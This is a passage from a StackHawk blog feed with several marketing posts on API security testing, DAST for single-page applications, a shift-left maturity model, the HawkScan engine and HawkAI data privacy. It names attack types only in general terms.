Cases&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Effective RESTful API testing hinges on well-crafted test cases. To achieve comprehensive coverage, a REST API test should consider both expected (positive) and unexpected (negative) behaviors, including edge cases and boundary conditions. Stress-test the API&amp;#39;s resilience using data-driven testing with diverse input sets. Prioritize tests that target critical functionalities, potential security vulnerabilities, and performance bottlenecks. Lastly, maintain thorough documentation of test case purpose, steps, expected results, and dependencies for seamless collaboration and maintenance.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Integrating API Testing into CI/CD Pipelines&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Integrating API testing into your CI/CD pipeline is critical for continuous quality assurance. Automate your tests to save time, ensure consistency, and enable frequent execution. This practice provides immediate feedback on code changes, allowing developers to quickly identify and resolve issues before making their way onto production servers. By establishing a fast feedback loop through automated testing in your CI/CD pipeline, you can proactively maintain your APIs&amp;#39; quality, reliability, and security.&lt;/p&gt;&lt;p&gt;By following these two best practices across all types of testing, you can build a solid API testing framework for your REST APIs. It’s also essential to research best practices for each specific type of API testing you implement.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Using StackHawk For REST API Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;With security being a top priority for REST APIs, StackHawk is an excellent choice for testing APIs for vulnerabilities in the OWASP API Top 10 and beyond. Its automated testing, CI/CD integration, and developer-friendly approach align it well with many of the considerations and best practices to look for in an API testing tool. With its modern approach to DAST, it’s an invaluable tool for identifying and mitigating security risks that can impact APIs. Here are a few highlights:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Automated Security Testing Through CI/CD&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;StackHawk automates testing your APIs for a wide range of vulnerabilities, including those outlined in the OWASP API Top 10. This saves you time and ensures consistent security checks throughout your development cycle. By integrating with your CI/CD pipeline, StackHawk allows you to catch security issues early in the development process on every pull request. This shift-left approach empowers developers to identify and fix vulnerabilities before they reach production, reducing the risk and cost of remediation.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Comprehensive API-Specific Vulnerability Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Unlike other DAST solutions that struggle to thoroughly test APIs, StackHawk’s API testing capabilities identify issues like injection attacks, broken authentication, sensitive data exposure, etc. With API discovery capabilities built directly into the platform, ensure even undocumented and shadow APIs are covered. Once a test run is completed, stackHawk provides detailed vulnerability and test reports with actionable insights to help developers prioritize and fix vulnerabilities.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Customizable&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;StackHawk allows you to tailor its scans to your specific needs. You can configure it to focus on specific vulnerabilities, exclude certain paths, and even create custom test scripts to address unique security concerns. For paths requiring various user authentication and authorization settings, you can use StackHawk’s authenticated scanning capabilities to ensure all API routes and logic paths are included by test coverage.&lt;/p&gt;&lt;p&gt;Want to experience the benefits of StackHawk’s API testing capabilities for yourself? &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Sign up for a free trial today.&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API testing is necessary to ensure your APIs are functional, reliable, secure, and performant. In this post, we looked at the importance of API testing, the types of tests, the challenges, and the best practices for delivering high-quality APIs. Choosing the right tools and approach is the key to implementing a comprehensive API testing strategy. You can fully capitalize on the benefits by implementing various types of API testing early, often, and in an automated manner. It&amp;#39;s never too early in the SDLC to start testing your RESTful APIs.&lt;/p&gt;&lt;p&gt;As part of a holistic testing strategy, try StackHawk to experience how modern DAST can augment API security testing. Sign up today for a &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;free trial&lt;/a&gt; and begin testing your APIs for the OWASP API Top 10 within minutes.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Single Page Application Security Testing: Is Scanning Your SPA with DAST Wrong?]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/scanning-your-spa-with-dast-youre-doing-it-wrong</guid><category><![CDATA[API Security]]></category><category><![CDATA[Scanning with StackHawk]]></category><dc:creator><![CDATA[April Conger and Eric Potter]]></dc:creator><content:encoded>&lt;p&gt;Single-page applications (SPAs) have become the norm due to their dynamic and responsive nature. These &lt;i&gt;entirely client-side GUI applications&lt;/i&gt; run in a desktop browser, and communicate with APIs to interact with data. But if they are client-side, why do we point our dynamic application security test (DAST) scanners at them to scan single-page applications? Aren’t the server-side APIs our real target? Learn why SPA scanning is fundamentally flawed and how to dynamically test your APIs directly for fast, accurate results with thorough coverage of your &lt;i&gt;real&lt;/i&gt; attack surface.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;The Evolution of Web Applications&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In the early days of web development, traditional web apps were typically server-rendered. Technologies like Ruby on Rails, PHP, or Java would render the entire web page on the server and send the fully formed HTML to the browser. This made it straightforward for traditional DAST scanners to crawl and test the entire application.&lt;/p&gt;&lt;p&gt;With the advent of modern web apps, which often utilize single-page applications (SPAs), the approach has shifted significantly. SPAs enhance user experience by loading content dynamically on a single HTML page, improving load times and performance. This approach has become prevalent since the early 2010s, emphasizing the efficiency and speed advantages it provides.&lt;/p&gt;&lt;p&gt;These scanners, despite being slow and sometimes taking hours or days to complete, were capable of providing adequate coverage because they were designed for these server-rendered applications. They could navigate through the static HTML and simulate user interactions effectively.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;The Rise of Single Page Applications&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Modern web architectures, however, have shifted towards single-page applications (SPAs), where the browser’s Javascript runtime engine runs a full-fledged client-side application typically using a framework such as React, Angular, or Ember.js. There are many similar frameworks, but if your application is using any of these, it’s a good sign there’s an SPA architecture. SPAs dynamically render content and communicate with backend APIs for data. Those APIs are the true target of DAST scanning, not the SPA. This client-side rendering poses a significant challenge for traditional DAST scanners.&lt;/p&gt;&lt;p&gt;In a SPA, there is no static HTML to crawl. Instead, the browser-based application dynamically generates HTML using JavaScript, which means the scanner needs to execute JavaScript to fully load and interact with the application. This is where traditional scanners fall short. They attempt to render the SPA and simulate user interactions in order to reach and crawl the APIs. It never works! The SPA is changing the Document Object Model (DOM) in browser space on the fly as the scanner attempts to read and interpret it. Sometimes, the SPA intentionally hides routes in order to confuse web discovery tools, and sometimes, it happens by accident because the app is changing memory as the crawler tries to read it. It’s always a process with no defined endpoint (see CS halting problem). Ultimately, this method of crawling APIs is slow, error-prone, and typically finds less than 10% of the API attack surface.&lt;/p&gt;&lt;p&gt;To address these challenges, SPA security testing is crucial. It involves specialized methods to identify and mitigate vulnerabilities in SPAs, focusing on the dynamic nature of their content and the security of their underlying APIs.&lt;/p&gt;&lt;h2&gt;Understanding Single Page Applications and Security Testing&lt;/h2&gt;&lt;p&gt;Single-page applications (SPAs) have revolutionized modern web development by offering a seamless and interactive user experience. Unlike traditional web applications that require a full page reload for every user interaction, SPAs dynamically update their content in real time. This is achieved through the use of JavaScript and APIs, which fetch data from the server and update the web page without disrupting the user experience. However, this dynamic nature also introduces new security challenges that must be addressed through effective security testing.&lt;/p&gt;&lt;p&gt;Security testing for SPAs is crucial to identify potential security vulnerabilities that could compromise the application and its users. Traditional security testing methods, such as crawling frontend URLs and using spiders, fall short when dealing with SPAs due to their dynamic nature. Instead, a more comprehensive approach is required, including API security testing, client-side scripting analysis, and user interaction simulation. This ensures that all potential security vulnerabilities are identified and addressed, safeguarding the integrity of the application and the sensitive data it handles.&lt;/p&gt;&lt;h2&gt;Challenges of Security Testing for SPAs&lt;/h2&gt;&lt;p&gt;Security testing for SPAs presents several unique challenges due to their architecture and behavior. One of the primary challenges is the dynamic nature of SPAs, which makes it difficult for traditional security testing tools to effectively crawl and analyze the application. SPAs rely heavily on client-side scripting, which can introduce security vulnerabilities if not properly validated. Additionally, SPAs often use APIs to fetch data from the server, which can also pose security risks if not adequately secured.&lt;/p&gt;&lt;p&gt;The complexity of SPAs further complicates security testing. These applications often consist of multiple components and libraries, each of which can introduce security risks if not properly configured. Moreover, SPAs are typically developed using modern web development frameworks and libraries, which can introduce new security risks if not thoroughly understood. Identifying and prioritizing security vulnerabilities in such a complex environment requires a specialized approach that goes beyond traditional security testing methods.&lt;/p&gt;&lt;h2&gt;The Limitations of Traditional Scanners&lt;/h2&gt;&lt;p&gt;When a traditional DAST scanner tries to scan SPAs, it faces several limitations:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Poor API Coverage&lt;/b&gt;: SPAs interact heavily with backend APIs. Traditional scanners are not designed to understand and fully explore these API endpoints. They might hit a few paths but will miss most, resulting in poor coverage. In addition, an API endpoint call discovered via the SPA might not reveal all of the endpoint’s capabilities or payload options, again resulting in incomplete coverage.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Slow Performance&lt;/b&gt;: Attempting to render and interact with a dynamic SPA in a simulated browser environment is extremely slow. This often results in even longer scan times than for traditional server-rendered applications. Furthermore, as mentioned above, the changing nature of a SPA while being crawled invokes the halting problem, wherein, it’s impossible for a crawler to identify when it’s “done”. Frequently, the SPA crawler has to be limited by a timer, giving it a “best-effort” deadline.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Incomplete Results&lt;/b&gt;: The consolidated scan results from a traditional scanner provide limited insights into where vulnerabilities lie within the SPA, making it harder to identify root causes and fix issues.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;The Importance of API Security Testing&lt;/h2&gt;&lt;p&gt;API security testing is a critical component of security testing for SPAs. Since SPAs rely heavily on APIs to fetch data from the server, ensuring that these APIs are properly secured is essential. API security testing involves analyzing the API endpoints, input validation, authentication mechanisms, and data handling practices to identify potential security vulnerabilities.&lt;/p&gt;&lt;p&gt;Through API security testing, organizations can identify vulnerabilities such as cross-site scripting (XSS), cross-site request forgery (CSRF), and SQL injection. It also helps in identifying security risks associated with sensitive data, such as user credentials and personal information. By addressing these vulnerabilities, organizations can ensure the security and integrity of their SPAs, protecting their users’ sensitive data and maintaining trust in their web applications.&lt;/p&gt;&lt;h2&gt;A Better Approach with StackHawk Security Testing Tool&lt;/h2&gt;&lt;p&gt;StackHawk addresses these challenges by focusing on direct API testing rather than trying to scan through the SPA to find the API. Here&amp;#39;s how StackHawk makes a difference:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Local Scanning&lt;/b&gt;: By coming in behind the firewall, StackHawk can test each API domain and endpoint locally, leading to much faster scan times.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Comprehensive API Coverage&lt;/b&gt;: Using API specifications or engineering-developed test suites such as Postman Collections, StackHawk can crawl and test every single route and input parameter available in an API, ensuring 100% coverage.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Detailed and Actionable Results&lt;/b&gt;: StackHawk provides detailed insights into vulnerabilities within each API, making it easier to pinpoint and resolve issues.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Bridging the Gap Between Security and Development&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;One of the key takeaways from using StackHawk is the realization among security professionals that they need to collaborate more closely with developers to accomplish meaningful security testing. Without the expertise of the application developers, most attempts at security testing become a variant of closed-box testing with the expected poor results. Discussions about OpenAPI specifications or other engineering artifacts often lead to the conclusion that involving developers in the security testing process is a win-win-win. Developers learn about the importance of secure coding and get rapid feedback on secure code improvements, accelerating the find-fix cycle. Security gets faster, higher-quality testing results and can move away from the eternal ticketing of issues to focus on higher-level organizational issues. The organization wins across the board by enabling faster and more secure feature delivery. The security-engineering collaboration ensures that security is integrated into the development lifecycle early and often during the SDLC, leading to more secure applications at a lower cost and faster time-to-market. Understanding how users interact with the application is crucial for effective security testing, as it helps identify potential vulnerabilities and enhances the overall functionality of the application.&lt;/p&gt;&lt;p&gt;Testing SPAs and other modern web apps with traditional DAST scanners is a futile effort that results in poor coverage, slow performance, and incomplete results. StackHawk offers a more effective solution by focusing on API testing, providing comprehensive coverage, faster scan times, and detailed insights. This approach not only improves security testing but also fosters better collaboration between security teams and developers. If you’re still scanning your front-end apps using traditional scanners, it’s time to rethink your strategy and consider StackHawk for a more effective and efficient security testing process. Visit &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;StackHawk&lt;/a&gt; to learn more, or signup for a free trial &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;

&lt;/h2&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Embracing the Future of Security with the Shift-Left Maturity Model]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/embracing-the-future-of-security-with-the-shift-left-maturity-model</guid><category><![CDATA[API Security]]></category><category><![CDATA[Shifting Security Left]]></category><dc:creator><![CDATA[Joni Klippert]]></dc:creator><content:encoded>&lt;p&gt;When it comes to building software, speed is king. Getting to market quickly is usually a top priority for most organizations, and rightly so. But too often, security is treated as an afterthought in the software development life cycle, a hurdle to jump over at the last minute. This approach is risky and creates a frustrating bottleneck for everyone involved in the development cycle.&lt;/p&gt;&lt;p&gt;The good news is that there&amp;#39;s a better way. By shifting security “left” through &amp;quot;shift-left&amp;quot; testing and other means and integrating it into the early stages of development, we can build more secure products faster and with less hassle. With the &lt;b&gt;Shift-Left Maturity Model&lt;/b&gt;, you have a clear roadmap to make this happen. 

At the core of this model are three foundational elements: people, process, and tooling. Empowering your team with the right skills and mindset is crucial for fostering a security-first culture. Establishing robust processes that integrate security seamlessly from the outset ensures consistency and efficiency. Leveraging advanced tools that automate and streamline security tasks makes it feasible to maintain speed without compromising on security. Together, these elements form the backbone of the Shift-Left Maturity Model, guiding organizations to achieve both rapid delivery and robust security in their software development practices.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Understanding the Shift-Left Maturity Model&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The Shift-Left Maturity Model isn&amp;#39;t just a fancy term – it&amp;#39;s a practical framework designed to guide organizations through the evolution of their security practices.  It categorizes the journey into four stages, helping you advance your security posture. In every stage, the model has three key elements: people, process, and tooling.  These elements form the backbone of the model, helping organizations achieve fast and secure software development. The model itself outlines a structured path to advance an organization&amp;#39;s security posture and security measures. Let’s explore the four distinct stages:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;1. Box Checking Basics&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This is where many organizations start. You&amp;#39;re focused on meeting basic compliance requirements, often relying on manual processes and periodic audits. It&amp;#39;s a start, but it leaves you vulnerable and reactive. Let’s briefly look at a few characteristics and challenges of this stage.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Characteristics:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Security is seen as a separate function.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Limited integration of security tools in the CI/CD pipeline.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Reliance on manual processes and external audits.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Minimal developer involvement in security practices.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;Challenges:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Slow response to emerging threats.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Security silos create bottlenecks.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Higher costs due to late-stage defect detection.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;
&lt;b&gt;2. Shift-Left Curious&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Here, you&amp;#39;re beginning to see the value of early security integration. You&amp;#39;re exploring automated tools and building collaboration between security and development teams. You’ll start to see improvements in the security of your applications. However, you still could dig in more to experience even further benefits from fully committing to the “shift-left” approach. Here are a few of the characteristics and challenges of this stage.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Characteristics:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Introduction of automated static and dynamic analysis tools.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Initial efforts to embed security testing in CI/CD pipelines.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Growing awareness and training for developers on secure coding practices.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;Challenges:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Inconsistent tool adoption and integration.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Cultural resistance to change.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Need for more sophisticated tooling and processes.
&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;3. Shift-Left Committed&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Now, security is a core part of your development process. You&amp;#39;ve fully embraced DevSecOps, a methodology that seamlessly weaves security practices into every phase of the software development lifecycle. Automated security tools are integrated throughout your workflow, from code creation to deployment. Security is no longer the sole responsibility of a siloed team; it&amp;#39;s a shared responsibility that everyone on the development team takes seriously. The characteristics and challenges of this stage include:&lt;/p&gt;&lt;p&gt;&lt;b&gt;Characteristics:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Comprehensive integration of security tools in CI/CD pipelines.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Continuous monitoring and real-time threat detection.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Regular security training and awareness programs for all team members.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;A collaborative environment where security is everyone’s responsibility.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;Challenges:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Balancing speed and security without compromising either.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Ensuring scalability of security practices.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Maintaining a high level of security awareness and skill among all team members.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;4. Continuously Secure&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This is the pinnacle of the Shift-Left Maturity Model, the ultimate goal of seamlessly interweaving security into the very fabric of your organization. It&amp;#39;s not just about checking boxes or even integrating tools; it&amp;#39;s about creating a security-centric culture where everyone understands the importance of security and actively contributes to maintaining a strong security posture. Once you’ve come into this stage, you’ll see the following characteristics and challenges appear:&lt;/p&gt;&lt;p&gt;&lt;b&gt;Characteristics:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Proactive threat modeling and risk management.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Business-driven security metrics and KPIs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Advanced automation and AI-driven security solutions.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;A strong security culture is embedded in the organization’s DNA.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;Challenges:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Continuous adaptation to evolving threat landscapes.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Integrating advanced technologies without disrupting existing processes.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Sustaining a culture of continuous improvement and vigilance.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;The Journey Towards Secure Business Outcomes&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Embarking on the journey towards secure business outcomes isn&amp;#39;t a sprint; it&amp;#39;s a strategic evolution that requires a multi-faceted approach. It demands a commitment to continuous learning, a willingness to adapt, and a dedication to fostering a culture of security within your organization. Here&amp;#39;s how you can navigate this transformative path:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Know Your Starting Point&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Before plotting your course, you need to understand where you currently stand. Take a comprehensive inventory of your existing security practices, tools, and processes. Don&amp;#39;t shy away from identifying gaps or areas for improvement. This assessment will serve as your foundation for building a more robust security posture.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Set Your Sights on Success&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Define clear, achievable goals for each stage of the Shift-Left Maturity Model. These goals should not exist in a vacuum; they need to be aligned with your organization&amp;#39;s broader business objectives. This ensures that your security initiatives are strengthening your defenses and driving business value.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Empower Your Team Through Knowledge&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Your team is your greatest asset in the quest for security excellence. Equip them with the knowledge and skills to embrace new security practices. Regular training sessions, workshops, and awareness programs are essential for keeping everyone up-to-date on the latest threats and best practices.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Harness the Power of Automation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Don&amp;#39;t let your team get bogged down by repetitive, manual security tasks. Invest in automated security tools that seamlessly integrate with your development workflows, including continuous integration. Automation frees up valuable time and resources and ensures consistent and reliable security checks throughout the development process. A good place to start is looking at tools like Static Application Security Testing (SAST), Software Composition Analysis (SCA), and Dynamic Application Security Testing (DAST) platforms to enable automated software testing.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Build Bridges, Not Walls&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Break down the silos that often separate development, security, and operations teams. Foster a culture of collaboration and open communication where everyone feels a shared responsibility for security. When these teams work together as a cohesive unit, you&amp;#39;ll be far more effective at identifying and addressing security risks.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Measure Your Progress and Adapt&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The journey to secure business outcomes is ongoing. Continuously monitor your progress, measure the effectiveness of your security practices, and be prepared to adapt your approach as needed. Use data-driven insights and feedback from your team to drive continuous improvement.&lt;/p&gt;&lt;p&gt;By following these steps and embracing the principles of the Shift-Left Maturity Model, you can transform your organization into a security powerhouse. By building a reputation for trustworthiness and reliability, you&amp;#39;ll protect your valuable assets and gain a competitive edge.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The path to secure business outcomes is not always easy, but it&amp;#39;s a journey well worth taking. By embracing the Shift-Left Maturity Model, you&amp;#39;re not just mitigating risks; you&amp;#39;re fostering a culture of innovation, collaboration, and resilience. By implementing shift-left security, you&amp;#39;re building a future where security isn&amp;#39;t an obstacle but a catalyst for growth and success.&lt;/p&gt;&lt;p&gt;Remember, this isn&amp;#39;t about achieving perfection overnight. It&amp;#39;s about progress, continuous improvement, and a commitment to making shift-left security a core part of your organization&amp;#39;s DNA.
&lt;/p&gt;&lt;p&gt;Ready to embark on this journey? &lt;a href=&quot;https://www.stackhawk.com/lp/shift-left-maturity-model/&quot;&gt;Download&lt;/a&gt; our comprehensive guide on the Shift-Left Maturity Model and start transforming your security practices today. Let us be your trusted partner as you navigate this exciting evolution and unlock the full potential of secure business outcomes. For more information on how to automate security using StackHawk and Dynamic Application Security Testing (DAST), &lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt;visit us here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;

&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk Announces HawkScan Test Engine]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-announces-hawkscan-test-engine</guid><category><![CDATA[Scanning with StackHawk]]></category><dc:creator><![CDATA[Scott Gerlach]]></dc:creator><content:encoded>&lt;p&gt;We are excited to announce that with the release of HawkScan 4.0, the transition to the HawkScan Test Engine (HSTE) will be complete. HSTE is the foundation of our scanning technology, embodying all of the enhancements and improvements StackHawk has developed to the Dynamic Application Security Testing capability. This move not only reinforces our commitment to providing top-tier security testing tools but also ensures that our customers benefit from faster updates and more robust features tailored to their needs.&lt;/p&gt;&lt;p&gt;The decision to fork ZAP was driven by the need for a development process that could keep pace with the rapid innovation demanded by StackHawk’s users. By forking ZAP, StackHawk has created a more agile and responsive development environment that aligns more closely with its strategic goals and customer requirements, including much deeper investment in API Security Testing.&lt;/p&gt;&lt;p&gt;Over time, the development work required to support StackHawk customers required a great deal of custom development for core functionality, speed, innovation, and also custom tests (what we test) as well as testing capabilities (how we test) to address web 3.0 and API driven development. This internal fork allows StackHawk to rework, remove and replace ZAP’s internals, making it easier to develop and support new features, ultimately accelerating time-to-market for enhancements critical to StackHawk&amp;#39;s customer base. We remain grateful to the ZAP community and are committed to contributing to the open-source ecosystem in meaningful ways.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How We Built HawkAI to Protect Your Data]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/how-we-built-hawkai-to-protect-your-data</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Scott Gerlach]]></dc:creator><content:encoded>&lt;p&gt;We’re thrilled to offer customers the power of AI to maximize efficiency, and protecting customer data will always be our top priority. Our AI technology, HawkAI, conducts a non-intrusive analysis of your code repositories, ensuring your source code remains private and secure.
&lt;/p&gt;&lt;p&gt;HawkAI prioritizes data privacy by adhering to strict principles:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;No source code, sensitive data, or PII data is shared with third parties.&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;No LLM Training: We don&amp;#39;t use your data to train large language models.&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Code Integrity: HawkAI does not send code contents to 3rd parties.&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;This ensures a powerful and secure experience you can trust. Read on to learn how each principle works in practice.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;How does the AI feature work on a technical level?&lt;/h2&gt;&lt;p&gt;StackHawk leverages AI to perform non-intrusive analysis of your code repositories, focusing on identifying programming languages, code frameworks, and other indicators of testable applications or APIs. This process is done without storing any of your source code, ensuring the privacy and security of your data. Additionally, your source code is never shared with third parties, maintaining strict confidentiality.
&lt;/p&gt;&lt;h2&gt;Where are we sending the data?&lt;/h2&gt;&lt;p&gt;The data processed by HawkAI is handled internally within StackHawk&amp;#39;s secure systems and with our selected AI vendor to ensure the confidentiality and security of your information. Our AI vendors undergo StackHawk’s vendor security review and onboarding process detailed in our &lt;a href=&quot;https://trust.stackhawk.com/&quot;&gt;&lt;u&gt;Third-Party Management Policy&lt;/u&gt;&lt;/a&gt;. No source code, sensitive data, or PII data is shared with third parties, aligning with StackHawk&amp;#39;s data &lt;a href=&quot;https://www.stackhawk.com/privacy-policy/&quot;&gt;&lt;u&gt;privacy&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://www.stackhawk.com/security/&quot;&gt;&lt;u&gt;security&lt;/u&gt;&lt;/a&gt; commitment.
&lt;/p&gt;&lt;h2&gt;What type of data will be processed by the API?&lt;/h2&gt;&lt;p&gt;HawkAI focuses on interpreting the organizational patterns within your repositories to determine what kinds of applications or APIs are present, using this information as the source of truth. This process is conducted without storing any source code, ensuring the integrity and confidentiality of your data. PII data is never used in the HawkAI process.
&lt;/p&gt;&lt;h2&gt;Will the data be used for training?&lt;/h2&gt;&lt;p&gt;Although StackHawk utilizes AI to analyze code repositories, the data processed by HawkAI will never be used to train large language models. The primary objective is to identify applications and APIs, with a commitment to keeping your source code private and not using it for training purposes.
&lt;/p&gt;&lt;h2&gt;Which AI provider are you leveraging?&lt;/h2&gt;&lt;p&gt;StackHawk currently utilizes OpenAI, but our system is designed to be adaptable, allowing the integration of other large language models as needed. This flexibility ensures we continuously evaluate and implement the most effective AI solutions based on research and testing to enhance our functionality.
&lt;/p&gt;&lt;h2&gt;Can I opt out of AI usage?&lt;/h2&gt;&lt;p&gt;Yes, HawkAI is enabled by default only through the GitHub integration. If you would like to utilize other GitHub integration features without allowing AI access, &lt;a href=&quot;https://docs.stackhawk.com/web-app/api-discovery.html&quot;&gt;read the docs&lt;/a&gt; for instructions on how to disable HawkAI on your account.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Defending Against API Attacks: Strategies for Protecting Your APIs and Data]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/defending-against-api-attacks-strategies-for-protecting-your-apis-and-data</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;APIs (Application Programming Interfaces) are the hub of functionality in modern software, enabling communication and data exchange between applications and delivering almost all of an application&amp;#39;s capabilities. With APIs being so critical, it&amp;#39;s no surprise that this connectivity makes them a prime target for attackers seeking to exploit vulnerabilities and gain unauthorized access. Bad actors constantly develop new techniques to bypass API security measures, compromise sensitive data, or disrupt operations.&lt;/p&gt;&lt;p&gt;Common API attack types and vectors include injection attacks, cross-site scripting (XSS), denial-of-service (DoS), and authentication bypasses. Each uses different approaches. Injection attacks involve inserting malicious code into API requests, while XSS exploits inject malicious scripts into web pages viewed by other users. DoS attacks aim to overwhelm an API with traffic, rendering it inaccessible, and authentication bypasses seek to gain unauthorized access to restricted 